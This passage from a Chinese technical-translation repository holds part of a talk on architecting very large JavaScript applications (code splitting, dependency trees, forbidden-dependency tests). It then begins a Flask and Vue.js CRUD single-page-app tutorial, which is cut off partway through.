异步。\n\n你有过去是同步现在成为异步的东西。你的应用程序在没有代码分割时，简单美好。整个项目只有一件大事。它启动，然后它很稳定，你了解它的前世今生，你不必等待资源加载。有了代码分割后，有时候你可能会说“哦，我需要那个打包文件”，所以你现在需要利用网络来获取所需的文件，这也使得你必须考虑网络可能出现异常情况，所以应用程序也变得更加复杂。\n\n![](https://cdn-images-1.medium.com/max/800/1*DqT7As1rm_M9cxyW1RIW6w.png)\n\n幻灯片文本：人性化。\n\n此外，我们需要有人介入，因为代码拆分需要你定义如何打包，需要你考虑何时加载它们，所以，那些在你们团队的工程师们现在必须决定哪些文件打包到一起，什么时候加载那些打包文件。每次有人介入时，都会明显影响编程模型，因为他们必须考虑这些问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*0jNa8A5ciY6pCJCN65vLiA.png)\n\n幻灯片文本：基于路由的代码分割。\n\n有一种非常成熟的方法可以解决这个问题，它可以将我们从进行代码分割的混乱中解脱出来，它被称作基于路由的代码分割。如果你还没有使用代码分割，那它可能是你初次进行代码分割的方式。路由将应用程序以 URL 粒度进行分割。例如，你的产品页面可能在 `/product/` 上，并且你的分类页面可能在其他地方。你只需将每个路由用的文件打包到一起，然后你的应用程序将根据路由自动进行代码分割。无论何时用户访问路由，路由都会加载相关的打包文件，有了路由之后，你可以忘记代码分割的存在。再从编程模型上来看，这几乎与将所有东西都打包到一起一样。这是一种非常好的代码分割方法，绝对是个好的开始。\n\n但是这个演讲的主题是设计**非常**大型的 JavaScript 应用程序，并且这类应用程序很快会变得巨大无比，路由本身也会随之变大，以至于基于路由的代码分割不再适用。实际上我有一个关于这类应用程序的好例子。\n\n![](https://cdn-images-1.medium.com/max/800/1*ox94bGuhxWXE-OubL7St6w.png)\n\n“public speaking 101”的谷歌搜索查询截图。\n\n我正在弄清楚如何成为这场演讲的公众演讲者，并且我得到了一个很好的蓝色链接列表。你完全可以设想这个页面非常适合将所有文件打包到一个路由里。\n\n![](https://cdn-images-1.medium.com/max/800/1*P-XiIPnuzq9_KLA1nG-uRA.png)\n\n“weath”的谷歌搜索查询截图。\n\n但后来我对天气感到疑惑，因为加州有一个严峻的冬天，突然间有了这个完全不同的模块。所以，这个看似简单的路由比我们想象的更为复杂。\n\n![](https://cdn-images-1.medium.com/max/800/1*Y7e5LoeBggY01aRkJAiwWA.png)\n\n“20 usd to aud”的谷歌搜索查询截图。\n\n后来我被邀请参加这次会议，我查看了 1 美元是多少澳元，那时出现了这个复杂的货币转换器。很显然，这些专用模块大约有 1000 多个，将它们放在同一个打包文件中是不可行的，因为打包文件的大小会有几兆字节，用户将会真的变得不高兴。\n\n![](https://cdn-images-1.medium.com/max/800/1*qZhd4a0S-CCB5mUiN3fo5Q.png)\n\n幻灯片文本：组件级别的懒加载？\n\n所以，我们不能只使用基于路由的代码分割，我们必须想出一个不同的方式来做代码分割。基于路由的代码拆分很不错，因为你将应用程序进行了最粗略级别的拆分，而当应用程序进一步增长时，它能起到的作用就微乎其微了。因为我喜欢直截了当，那么做超级细粒度而不是超级粗粒度拆分怎么样。让我们想象如果我们网站的每一个组件都懒加载，会发生什么。当你只考虑带宽时，从效率的角度来看，这似乎非常好。从延迟等其他观点来看，这可能是非常糟糕的，但它肯定是值得考虑。\n\n![](https://cdn-images-1.medium.com/max/800/1*Lr2hIk4eH9uU33e77zeSmA.png)\n\n幻灯片文本：React 组件同他们的子组件是静态依赖关系。\n\n但让我们想象一下，例如，你的应用程序使用 React。并且在 React 中，组件们同他们的子组件是静态依赖关系。这意味着如果你懒加载你的子组件，就会改变你的编程模型，并且事情会变得不那么美好，这让你只好叫停这种策略。\n\n![](https://cdn-images-1.medium.com/max/800/1*SWkk2vyn344qCNCPSIkXPA.png)\n\nES6 导入示例。\n\n假设你有一个货币转换器组件，你想把它放在你的搜索页面上，你可以导入它，是这样的吧？这是在 ES6 模块中使用的普通方式。\n\n![](https://cdn-images-1.medium.com/max/800/1*RxlHaYEav0OaODKYKiUubw.png)\n\nLoadable 组件示例。\n\n但是如果你想延迟加载它，你会得到这样的代码，你把它包装在 Loadable 组件中，你还使用一种懒加载 ES6 模块的新方式动态导入。当然有成千上万种方法可以做到这一点，我不是 React 专家，但所有这些方式都会改变你编写应用程序的方式。\n\n![](https://cdn-images-1.medium.com/max/800/1*N5AMAbobPjsO_lXCPt9-ZA.png)\n\n幻灯片文本：静态 -> 动态。\n\n事情不再那么美好了 —— 一些静态的东西现在变成了动态的，这是编程模型改变的另一个警示。\n\n![](https://cdn-images-1.medium.com/max/800/1*j9OB_yjli59MZMyIs9V0_A.png)\n\n幻灯片文本：谁来决定何时对什么东西进行懒加载？\n\n你不得已突然想知道：“谁来决定何时对什么东西进行懒加载”，因为这会影响到应用程序的等待时间。\n\n![](https://cdn-images-1.medium.com/max/800/1*rsJ-C7ph0BrJiwTjHKv6_w.png)\n\n幻灯片文本：静态还是动态？\n\n人类再次出现，他们必须思考“有静态导入，有动态导入，什么时候该用哪一个？”。弄错就非常糟糕了，当一个静态导入的文件突然变成动态导入的时候，可能会把某些东西错误的打包进文件。随着时间的推移，同时你又有很多工程师在这个项目上开发，恐怕就会出错。\n\n![](https://cdn-images-1.medium.com/max/800/1*QGoX4bYhEAuNjuKwQhQ0hg.png)\n\n幻灯片文本：分割逻辑和渲染。\n\n接下来我会分享 Google 如何做到保证良好编程模型的前提下，又有不错的性能的。我们通过渲染逻辑和应用逻辑来分割组件，比如当你按下货币转换器上的按钮时发生的情况。\n\n![](https://cdn-images-1.medium.com/max/800/1*vMskVnAwJgkZmvl4E-8E4Q.png)\n\n幻灯片文本：仅在渲染时加载是唯一的加载逻辑。\n\n所以，现在我们有两件独立的事情，并且我们只在渲染时才加载组件的应用程序逻辑。事实证明，这是一个非常简单的模型，因为你可以简单地在服务端渲染页面，然后由实际呈现的内容，触发下载关联的应用程序打包文件。因为加载是通过渲染自动触发的，这使得人得以脱离系统。\n\n![](https://cdn-images-1.medium.com/max/800/1*Doqt-GOkUp13Qgk5r7WR1g.png)\n\n幻灯片文本：搜索结果页面上的货币转换器。\n\n这个模型看起来不错，但它确实有一些折中。如果你知道通常服务端渲染在 React 或 Vue.js 等框架中如何工作，这个过程被称为 hydration。hydration 是这样的，你服务端渲染的一些东西，然后在客户端再次渲染它，这意味着你必须加载代码来渲染一些已经在页面上的东西，这在加载代码和执行代码方面都是巨大的浪费。这么做既浪费带宽，又浪费 CPU —— 但它确实很好，因为你在客户端忽略了服务端渲染的东西。我们在 Google 使用的方法不是那样的。所以，如果你设计这个非常大型的应用程序，你就会想：我是采用那种更复杂的超快速方法，还是采用效率较低的 hydration 方式，但这样能有个良好的编程模型？你将不得不做出这个决定。\n\n![](https://cdn-images-1.medium.com/max/800/1*uteTbmuKZF1wGvoysgsBYw.png)\n\n幻灯片文本：2017 新年快乐。\n\n我的下一个话题是我最喜欢的计算机科学问题 —— 它不是命名问题，尽管我很可能给它起了个糟糕的名字。这是“**2017 年假期特别问题**”。过去有人写过一些代码，现在不再需要它们了，但它仍然在你的代码库中？...这种情况时常发生，我认为 CSS 的问题尤为突出。你有一个大型 CSS 文件。里面有很多样式选择器。谁真的知道哪些样式选择器是否仍然对应着你应用中的内容？所以，你最终只能把那些代码留在那里。我认为 CSS 社区处于变革的最前沿，因为他们意识到这个问题，并且他们创建了诸如 CSS-in-JS 之类的解决方案。因为你的组件可以放到一个单独的文件里，2017 年假期特别问题组件，你可以说“它不再是 2017 问题”，你可以删除整个组件，并且所有相关文件一并消失。这使得删除代码非常容易。我认为这是一个非常好的想法，它不仅仅适用于 CSS。\n\n![](https://cdn-images-1.medium.com/max/800/1*rkAN_sLohIO63JCOTZ1JgA.png)\n\n幻灯片文本：不惜一切代价避免中央配置。\n\n我想举几个例子，说明为什么你想不惜一切代价避免在你的应用程序中采用中央配置，因为中央配置（比如大型 CSS 文件）使得代码难以删除。\n\n![](https://cdn-images-1.medium.com/max/800/1*-OoPTo-xaxFr2YOGGFnapw.png)\n\n幻灯片文本：routes.js。\n\n我之前在你的应用程序中谈论过路由。许多应用程序都会有一个类似“routes.js”的文件，其中包含所有路由信息，这些路由将自己映射到某个根组件。这是一个中央配置的例子，你不会希望在大型应用程序中这么做。因为有了这种中央配置，工程师会说：“我还需要那个根组件吗？我需要更新其他文件，那是其他团队负责的文件。我不确定是否被允许修改它。也许我该明天再做“。之后，这些文件只会越来越大。\n\n![](https://cdn-images-1.medium.com/max/800/1*NsqgsGwmgEcy_PedNzmnbQ.png)\n\n幻灯片文本：webpack.config.js。\n\n这种反模式的另一个例子是 webpack.config.js 文件，在这里你可以假设你通过它构建了整个应用程序。刚开始可能没什么问题，但随着时间的推移，这份配置不再适用，你需要知道其他团队在应用程序中做了什么，这样才能对配置文件做出兼容性的调整。再一次，我们需要一个模式来展现如何分散我们构建过程的配置。\n\n![](https://cdn-images-1.medium.com/max/800/1*L7ZmdS2JvqwWJySz-X50xw.png)\n\n幻灯片文本：package.json。\n\n这有一个很好的例子：npm 使用的 package.json。每个软件包都会说“我有这些依赖关系，这就是你如何运行我，如何构建我的方式”。显然，对于所有的 npm，都不能有一个巨大的配置文件。这对于成千上万的文件来说不起作用。这肯定会让你在 git 操作中遇到很多合并冲突。当然，npm 非常大，但我认为我们的许多应用程序已经变得足够大，让我们不得不担心同样的问题，并且必须采用相同的模式。我没有所有的解决方案，但我认为 CSS-in-JS 的想法将会涉及我们应用程序的其他方面。\n\n![](https://cdn-images-1.medium.com/max/800/1*E_g_WgMXGuJtyG-F4AGTNg.png)\n\n幻灯片文本：依赖关系树。\n\n更抽象地说，我会描述这个想法，即我们负责如何抽象地设计我们的应用程序，如何组织它，作为**承担塑造我们的应用程序的依赖树的责任**。当我说“依赖”时，我的意思是非常抽象的。它可能是模块依赖关系，可能是数据依赖关系，服务依赖关系，还有很多不同的类型。\n\n![](https://cdn-images-1.medium.com/max/800/1*DfOMmyxC4guVZkyQ4IlF7g.png)\n\n幻灯片文本：由路由和 3 个根组件构成的依赖关系树示例。\n\n显然，我们都有超复杂的应用程序，但我会用一个非常简单的例子。它只有 4 个组成部分。它有一个路由，知道如何从应用程序的一个路由到下一个路由，它有几个根组件：A、B 和 C。\n\n![](https://cdn-images-1.medium.com/max/800/1*CivPR-20NP0dXlIkWfBk6w.png)\n\n幻灯片文本：中心导入问题。\n\n正如我之前提到的那样，这具有中心导入问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*Y9AgFj90bpFsKq6e7o7Jbw.png)\n\n幻灯片文本：由路由和3个根组件构成的依赖关系树示例。路由导入根组件。\n\n因为路由现在必须导入所有的根组件，如果你想删除其中的一个，你不得不进入路由文件，删除引用，删除路由，并最终你有了 2017 假期特别问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*isSwE9e1XLiEw9sbZHwmQQ.png)\n\n幻灯片文本：导入 -> 增强。\n\n我们在谷歌已经为此提出了一个解决方案，我想向你们介绍一下，我想我们从来没有谈过这件事。我们提出了一个新概念。它被称为增强。这是你用来代替导入的东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*7yPG-uXeixsnQk3k-X9UXw.png)\n\n幻灯片文本：导入 -> 增强。\n\n实际上，这与导入是相反的。这是一个逆向依赖。如果你增强一个模块，你会让这个模块对你有依赖性。\n\n![](https://cdn-images-1.medium.com/max/800/1*bDH4yzG0mrrYlrs2C9twsA.png)\n\n幻灯片文本：由路由和3个根组件构成的依赖关系树示例。根组件增强了路由。\n\n看看依赖关系图，它发生了什么，仍然是相同的组件，但箭头指向相反的方向。因此，不是路由导入根组件，根组件宣布自己增强了路由的功能。这意味着我可以通过删除文件来删除根组件。因为它不再增强路由，所以这是删除组件的唯一操作。\n\n![](https://cdn-images-1.medium.com/max/800/1*HDW95QuGKQCsXqwXiUtB5g.png)\n\n幻灯片文本：谁来决定何时使用增强？\n\n这真的很棒，如果它不是再次涉及人性化。他们现在必须考虑“我是该导入它，还是使用增强？我在哪种情况下使用哪一种方式？”。\n\n![](https://cdn-images-1.medium.com/max/800/1*Hr47VQZYSKiBuDap2XgbbQ.png)\n\n图片：危险。危险化学品。\n\n这是这个问题的特别糟糕的情况，因为增强模块的能力，能够使系统中的所有其他东西都依赖于你是非常强大的，如果出错的话，就会非常危险。很容易想象这可能会导致非常糟糕的情况。所以，在谷歌我们认为这是一个好主意，但我们也认为它是非法的，没有人可以使用它 —— 有一个例外：生成的代码。它实际上非常适合于生成的代码，它解决了生成代码的一些固有问题。有了生成的代码，你有时必须导入你甚至看不到的文件，必须猜测他们的名字。但是，如果生成的文件恰好不可见，并增强了它所需的任何内容，那么你就没有这些问题。你根本不需要知道这些文件。他们只是神奇地增强了中央注册表。\n\n![](https://cdn-images-1.medium.com/max/800/1*od_6cmgitlBJk1g9QxU7Ng.png)\n\n幻灯片文本：单文件组件指向其增强路由的组件。\n\n我们来看一个具体的例子。我们这里有个单文件组件。我们在其上运行代码生成器，并从中提取这个小的路由定义文件。那个路由文件只是说“嘿，路由，我在这里，请导入我”。显然，你可以将这种模式用于各种其他事情。也许你正在使用 GraphQL，你的路由应该知道你的数据依赖关系，那么你可以使用相同的模式。\n\n![](https://cdn-images-1.medium.com/max/800/1*Tg_CvUNzT9K0tbzIVC79kw.png)\n\n幻灯片文本：基本打包文件。\n\n不幸的是，这不仅仅是我们所需要知道的。第二个我最喜欢的计算机科学问题，我称之为“**基础垃圾打包文件**”。在应用程序的打包逻辑中的基本打包文件总是会被加载，而与用户与应用程序的交互方式无关。所以，这一点尤其重要，因为如果它很大，那么所有进一步深入的东西都会很大。如果它很小，那么依赖文件也有可能变小。一个小故事：在某个时候，我加入了 Google Plus JavaScript 基础架构团队，并且我发现他们的基础打包文件包含 800 KB 的 JavaScript。所以，我对你的警告是：如果你想比 Google Plus 更成功，就不要让你的 JS 基础打包文件超过 800 KB，但不幸的是你的文件体积很难维持在理想状态。\n\n![](https://cdn-images-1.medium.com/max/800/1*wW_u72nFdPiKjEINH4ubDg.png)\n\n幻灯片文本：指向 3 个不同依赖关系的基础打包文件。\n\n这有一个例子。你的基础打包文件需要依赖于路由，因为当你从 A 到 B 时，你需要知道 B 的路由，所以它总是在周围。但是你真正不想要的是将任何形式的 UI 代码打包进基础打包文件，是因为取决于用户如何进入你的应用程序，可能会有不同的用户界面。所以，例如日期选择器绝对不应该放在你的基础打包文件中，结账流程也不应该。但我们如何防止这种情况？不幸的是导入非常脆弱。你可能在无意中导入那个很酷的**工具**包，因为它有一个函数来生成随机数。现在有人说“我需要一种自动驾驶汽车的实用工具”，并且突然将自动驾驶汽车的机器学习算法导入到你的基础打包文件中。类似这样的事情很容易发生，因为导入是传递性的，所以问题往往会随着时间的推移而累积起来。\n\n![](https://cdn-images-1.medium.com/max/800/1*myk-tffGyQx74OIZT4n0mw.png)\n\n幻灯片文本：禁止依赖测试。\n\n我们找到的解决方案是**禁止依赖测试**。禁止依赖测试是一种断言，例如你的基础打包文件不依赖于任何 UI。\n\n![](https://cdn-images-1.medium.com/max/800/1*vDtioYTfzhCB9e7jc9A4pg.png)\n\n幻灯片文本：断言基本打包文件不依赖于 React.Component。\n\n我们来看一个具体的例子。在 React 中，每个组件都需要继承自 React.Component。因此，如果你的目标是基本打包文件中没有 UI，只需添加一个测试来确定 React.Component 不是你基本打包文件的传递依赖。\n\n![](https://cdn-images-1.medium.com/max/800/1*s5rDafWJi90dcrlEQSAepg.png)\n\n禁止的依赖关系被删除。\n\n再看一下前面的例子，当有人想添加日期选择器时，只会出现测试失败。而这些测试失败通常很容易就能很好地解决，因为通常这个人并不是真的想要添加依赖关系 —— 它只是通过一些传递路径进入。比较这一点，当这种依赖关系已经存在了 2 年，因为你没有测试。在这些情况下，通常很难通过重构代码来摆脱依赖关系。\n\n![](https://cdn-images-1.medium.com/max/800/1*ONmcxDRRdY9DpR8QfwMj4g.png)\n\n幻灯片文本：最自然的路径。\n\n理想情况下，你会发现最自然的路径。\n\n![](https://cdn-images-1.medium.com/max/800/1*7XRIRO-_Y165Gn7Zff_fKQ.png)\n\n幻灯片文本：最直接的方式必须是正确的。\n\n你想要达到这样一个状态，无论你的团队中的工程师做什么，最直接的方式也是正确的方式 —— 这样他们就不会离开这条道路，所以他们自然而然地做了正确的事情。\n\n![](https://cdn-images-1.medium.com/max/800/1*T6E-ExC2HWa0X--OiJ_vAA.png)\n\n幻灯片文本：否则添加一个确保正确的测试。\n\n这可能不总是可行的。在那种情况下，只需添加一个测试。但这不是很多人认为有权做的事情。但是，**为确保你的基础架构保持不变，请为你的测试程序添加测试的授权**。测试不仅仅是为了测试你的数学函数是否正确。它们也用于基础架构和应用程序的主要设计特性。\n\n![](https://cdn-images-1.medium.com/max/800/1*y3COuLXS8b1vAQQESjp30Q.png)\n\n幻灯片文本：避免在应用领域之外进行人为判断。\n\n尽可能避免在应用领域之外进行人为判断。在开发应用程序时，我们必须了解业务，但是并非团队中的每位工程师都能理解代码拆分的原理。而且他们不需要那样做。在不是每个人都能理解它们的时候，试着将这些东西以一种友好的方式引入到你的应用程序中，并保持其复杂性。\n\n![](https://cdn-images-1.medium.com/max/800/1*CqeGbdnSFMRPtZWPIRZCvw.png)\n\n幻灯片文本：可以轻松删除代码。\n\n真的，让删除代码简单点。我的演讲题为“构建非常大型的 JavaScript 应用程序”。我可以给出的最佳建议：不要让你的应用程序变得非常大。最好的办法是在还来得及的时候开始删除东西。\n\n![](https://cdn-images-1.medium.com/max/800/1*Mt_beSIamHND0E6NjBBetA.png)\n\n幻灯片文本：没有抽象比错误的抽象更好。\n\n我想再谈一点，那就是人们有时会说，没有抽象比错误的抽象要好。这实际上意味着错误的抽象代价非常高，所以要小心。我认为这有时会被误解。这并不意味着你不应该有抽象。这只是意味着你必须非常小心。\n\n> **我们必须善于找到正确的抽象**。\n\n![](https://cdn-images-1.medium.com/max/800/1*oNXlH0ththqRlPeRm2z0Sw.png)\n\n幻灯片文本：同理心和经验 -> 正确的抽象。\n\n正如我在演讲开始时所说的：实现目标的方式是使用同理心，并与团队中的工程师一起思考他们将如何使用你的 API​​ 以及他们将如何使用抽象。你如何随着时间的推移充实这种同理心会成为经验。综上所述，同理心和经验使你能够为你的应用程序选择正确的抽象\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/developing-a-single-page-app-with-flask-and-vuejs.md",
    "content": "> * 原文地址：[Developing a Single Page App with Flask and Vue.js](https://testdriven.io/developing-a-single-page-app-with-flask-and-vuejs)\n> * 原文作者：[Michael Herman](https://testdriven.io/authors/herman)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/developing-a-single-page-app-with-flask-and-vuejs.md](https://github.com/xitu/gold-miner/blob/master/TODO1/developing-a-single-page-app-with-flask-and-vuejs.md)\n> * 译者：[Mcskiller](https://github.com/Mcskiller)\n\n# 用 Flask 和 Vue.js 开发一个单页面应用\n\n![](https://testdriven.io/assets/img/blog/flask-vue/developing_spa_flask_vue.png)\n\n这篇文章会一步一步的教会你如何用 VUE 和 Flask 创建一个基础的 CRUD 应用。我们将从使用 Vue CLI 创建一个新的 Vue 应用开始，接着我们会使用 Python 和 Flask 提供的后端接口 RESTful API 执行基础的 CRUD 操作。\n\n**最终效果：**\n\n![final app](https://testdriven.io/static/images/blog/flask-vue/final.gif)\n\n**主要依赖：**\n\n*   Vue v2.5.2\n*   Vue CLI v2.9.3\n*   Node v10.3.0\n*   npm v6.1.0\n*   Flask v1.0.2\n*   Python v3.6.5\n    \n## 目录\n\n*   [目的](#目的)\n*   [什么是 Flask？](#什么是-Flask？)\n*   [什么是 Vue？](#什么是-Vue？)\n*   [安装 Flask](#安装-Flask)\n*   [安装 Vue](#安装-Vue)\n*   [安装 Bootstrap](#安装-Bootstrap)\n*   [我们的目的是什么？](#我们的目的是什么？)\n*   [获取路由](#获取路由)\n*   [Bootstrap Vue](#Bootstrap-Vue)\n*   [POST 路由](#POST-路由)\n*   [Alert 组件](#Alert-组件)\n*   [PUT 路由](#PUT-路由)\n*   [DELETE 路由](#DELETE-路由)\n*   [总结](#总结)\n\n## 目的\n\n在本教程结束的时候，你能够...\n\n1.  解释什么是 Flask\n2.  解释什么是 Vue 并且它和其他 UI 库以及 Angular、React 等前端框架相比又如何\n3.  使用 Vue CLI 搭建一个 Vue 项目\n4.  在浏览器中创建并渲染 Vue 组件\n5.  使用 Vue 组件创建一个单页面应用（SPA）\n6.  将一个 Vue 应用与后端的 Flask 连接\n7.  使用 Flask 开发一个 RESTful API\n8.  在 Vue 组件中使用 Bootstrap 样式\n9.  使用 Vue Router 去创建路由和渲染组件\n\n## 什么是 Flask？\n\n[Flask](http://flask.pocoo.org/) 是一个用 Python 编写的简单，但是及其强大的轻量级 Web 框架，非常适合用来构建 RESTful API。就像 [Sinatra](http://sinatrarb.com/)（Ruby）和 [Express](https://expressjs.com/)（Node）一样，它也十分简便，所以你可以从小处开始，根据需求构建一个十分复杂的应用。\n\n第一次使用 Flask？看看这下面两个教程吧：\n\n1.  [Flaskr TDD](https://github.com/mjhea0/flaskr-tdd)\n2.  [Flask for Node Developers](http://mherman.org/blog/2017/04/26/flask-for-node-developers)\n\n## 什么是 Vue？\n\n[Vue](https://vuejs.org/) 是一个用于构建用户界面的开源 JavaScript 框架。它综合了一些 React 和 Angular 的优点。也就是说，与 React 和 Angular 相比，它更加友好，所以初学者额能够很快的学习并掌握。它也同样强大，因此它能够提供所有你需要用来创建一个前端应用所需要的功能。\n\n有关 Vue 的更多信息，以及使用它与 Angular 和 React 的利弊，请查看以下文章：\n\n1.  [Vue: Comparison with Other Frameworks](https://vuejs.org/v2/guide/comparison.html)\n2.  [Angular vs. React vs. Vue: A 2017 comparison](https://medium.com/unicorn-supplies/angular-vs-react-vs-vue-a-2017-comparison-c5c52d620176)\n\n第一次使用 Vue？不妨花点时间阅读官方指南中的 [介绍](https://vuejs.org/v2/guide/index.html)。\n\n## 安装 Flask\n\n首先创建一个新项目文件夹：\n\n```\n$ mkdir flask-vue-crud\n$ cd flask-vue-crud\n```\n\n在 “flask-vue-crud” 文件夹中，创建一个新文件夹并取名为 “server”。然后，在 “server” 文件夹中创建并运行一个虚拟环境：\n\n```\n$ python3.6 -m venv env\n$ source env/bin/activate\n```\n\n> 以上命令因环境而异。\n\n安装 Flask 和 [Flask-CORS](http://flask-cors.readthedocs.io/en/3.0.4/) 扩展：\n\n```\n(env)$ pip install Flask==1.0.2 Flask-Cors==3.0.4\n```\n\n在新创建的文件夹中添加一个 **app.py** 文件\n\n```\nfrom flask import Flask, jsonify\nfrom flask_cors import CORS\n\n\n# configuration\nDEBUG = True\n\n# instantiate the app\napp = Flask(__name__)\napp.config.from_object(__name__)\n\n# enable CORS\nCORS(app)\n\n\n# sanity check route\n@app.route('/ping', methods=['GET'])\ndef ping_pong():\n    return jsonify('pong!')\n\n\nif __name__ == '__main__':\n    app.run()\n```\n\n为什么我们需要 Flask-CORS？为了进行跨域请求 — e.g.，来自不同协议，IP 地址，域名或端口的请求 — 你需要允许 [跨域资源共享](https://en.wikipedia.org/wiki/Cross-origin_resource_sharing)（CORS）。而这正是 Flask-CORS 能为我们提供的。\n\n> 值得注意的是上述安装允许跨域请求在全部路由无论**任何**域，协议或者端口都可用。在生产环境中，你应该**只**允许跨域请求成功在前端应用托管的域上。参考 [Flask-CORS 文档](http://flask-cors.readthedocs.io/) 获得更多信息。\n\n运行应用：\n\n```\n(env)$ python app.py\n```\n\n开始测试，将你的浏览器指向到 [http://localhost:5000/ping](http://localhost:5000/ping)。你将会看到：\n\n```\n\"pong!\"\n```\n\n返回终端，按下 Ctrl+C 来终止服务端然后退回到项目根目录。接下来，让我们把注意力转到前端进行 Vue 的安装。\n\n## 安装 Vue\n\n我们将会使用强力的 [Vue CLI](https://github.com/vuejs/vue-cli) 来生成一个自定义项目模板。\n\n全局安装：\n\n```\n$ npm install -g vue-cli@2.9.3\n```\n\n> 第一次使用 npm？浏览一下 [什么是 npm?](https://docs.npmjs.com/getting-started/what-is-npm) 官方指南吧\n\n然后，在 “flask-vue-crud” 中，运行以下命令初始化一个叫做 `client` 的新 Vue 项目并包含 [webpack](https://github.com/vuejs-templates/webpack) 配置：\n\n```\n$ vue init webpack client\n```\n\n> webpack 是一个模块打包构建工具，用于构建，压缩以及打包 JavaScript 文件和其他客户端资源。\n\n它会请求你对这个项目进行一些配置。按下回车键去选择前三个为默认设置，然后使用以下的设置去完成后续的配置：\n\n1.  Vue build: `Runtime + Compiler`\n2.  Install vue-router?: `Yes`\n3.  Use ESLint to lint your code?: `Yes`\n4.  Pick an ESLint preset: `Airbnb`\n5.  Set up unit tests: `No`\n6.  Setup e2e tests with Nightwatch: `No`\n7.  Should we run npm install for you after the project has been created: `Yes, use NPM`\n\n你会看到一些配置请求比如：\n\n```\n? Project name client\n? Project description A Vue.js project\n? Author Michael Herman michael@mherman.org\n? Vue build standalone\n? Install vue-router? Yes\n? Use ESLint to lint your code? Yes\n? Pick an ESLint preset Airbnb\n? Set up unit tests No\n? Setup e2e tests with Nightwatch? No\n? Should we run `npm install` for you after the project has been created? (recommended) npm\n```\n\n快速浏览一下生成的项目架构。看起来好像特别多，但是我们**只**会用到那些在 “src” 中的文件和 **index.html** 文件。\n\n**index.html** 文件是我们 Vue 应用的起点。\n\n```\n<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">\n    <title>client</title>\n  </head>\n  <body>\n    <div id=\"app\"></div>\n    <!-- built files will be auto injected -->\n  </body>\n</html>\n```\n\n注意那个 `id` 是 `app` 的 `<div>` 元素。那是一个占位符，Vue 将会用来连接生成的 HTML 和 CSS 构建 UI。\n\n注意那些在 “src” 文件夹中的文件夹：\n\n```\n├── App.vue\n├── assets\n│   └── logo.png\n├── components\n│   └── HelloWorld.vue\n├── main.js\n└── router\n    └── index.js\n```\n\n分解：\n\n| 名字 | 作用 |\n| ---- | ------- |\n| _main.js_ | app 接入点，将会和根组件一起加载并初始化 Vue |\n| _App.vue_ | 根组件 —— 起点，所有其他组件都将从此处开始渲染 |\n| “assets” | 储存图像和字体等静态资源 |\n| “components” | 储存 UI 组件 |\n| “router” | 定义 URL 地址并映射到组件 |\n\n查看 **client/src/components/HelloWorld.vue** 文件。这是一个 [单文件组件](https://vuejs.org/v2/guide/single-file-components.html)，它分为三个不同的部分：\n\n1.  **template**：特定组件的 HTML\n2.  **script**：通过 JavaScript 实现组件逻辑\n3.  **style**：CSS 样式\n\n运行开发服务端：\n\n```\n$ cd client\n$ npm run dev\n```\n\n在你的浏览器中导航到 [http://localhost:8080](http://localhost:8080)。你将会看到：\n\n![default vue app](https://testdriven.io/static/images/blog/flask-vue/default-vue-app.png)\n\n添加一个新组件在 “client/src/components” 文件夹中，并取名为 **Ping.vue**：\n\n```\n<template>\n  <div>\n    <p>{{ msg }}</p>\n  </div>\n</template>\n\n<script>\nexport default {\n  name: 'Ping',\n  data() {\n    return {\n      msg: 'Hello!',\n    };\n  },\n};\n</script>\n```\n\n更新 **client/src/router/index.js** 使 ‘/’ 映射到 `Ping` 组件：\n\n```\nimport Vue from 'vue';\nimport Router from 'vue-router';\nimport Ping from '@/components/Ping';\n\nVue.use(Router);\n\nexport default new Router({\n  routes: [\n    {\n      path: '/',\n      name: 'Ping',\n      component: Ping,\n    },\n  ],\n});\n```\n\n最后，在 **client/src/App.vue** 中，从 template 里删除掉图片：\n\n```\n<template>\n  <div id=\"app\">\n    <router-view/>\n  </div>\n</template>\n```\n\n你现在应该能在浏览器中看见一个 `Hello!`。\n\n为了更好地使客户端 Vue 应用和后端 Flask 应用连接，我们可以使用 [axios](https://github.com/axios/axios) 库来发送 AJAX 请求。\n\n那么我们开始安装它：\n\n```\n$ npm install axios@0.18.0 --save\n```\n\n然后在 **Ping.vue** 中更新组件的 `script` 部分，就像这样：\n\n```\n<script>\nimport axios from 'axios';\n\nexport default {\n  name: 'Ping',\n  data() {\n    return {\n      msg: '',\n    };\n  },\n  methods: {\n    getMessage() {\n      const path = 'http://localhost:5000/ping';\n      axios.get(path)\n        .then((res) => {\n          this.msg = res.data;\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    },\n  },\n  created() {\n    this.getMessage();\n  },\n};\n</script>\n```\n\n在新的终端窗口启动 Flask 应用。在浏览器中打开 [http://localhost:8080](http://localhost:8080) 你会看到 `pong!`。基本上，当我们从后端得到回复的时候，我们会将 `msg` 设置为响应对象的 `data` 的值。\n\n## 安装 Bootstrap\n\n接下来，让我们引入一个热门 CSS 框架 Bootstrap 到应用中以方便我们快速添加一些样式。\n\n安装：\n\n```\n$ npm install bootstrap@4.1.1 --save\n```\n\n> 忽略 `jquery` 和 `popper.js` 的警告。不要把它们添加到你的项目中。稍后会告诉你为什么。\n\n插入 Bootstrap 样式到 **client/src/main.js** 中：\n\n```\nimport 'bootstrap/dist/css/bootstrap.css';\nimport Vue from 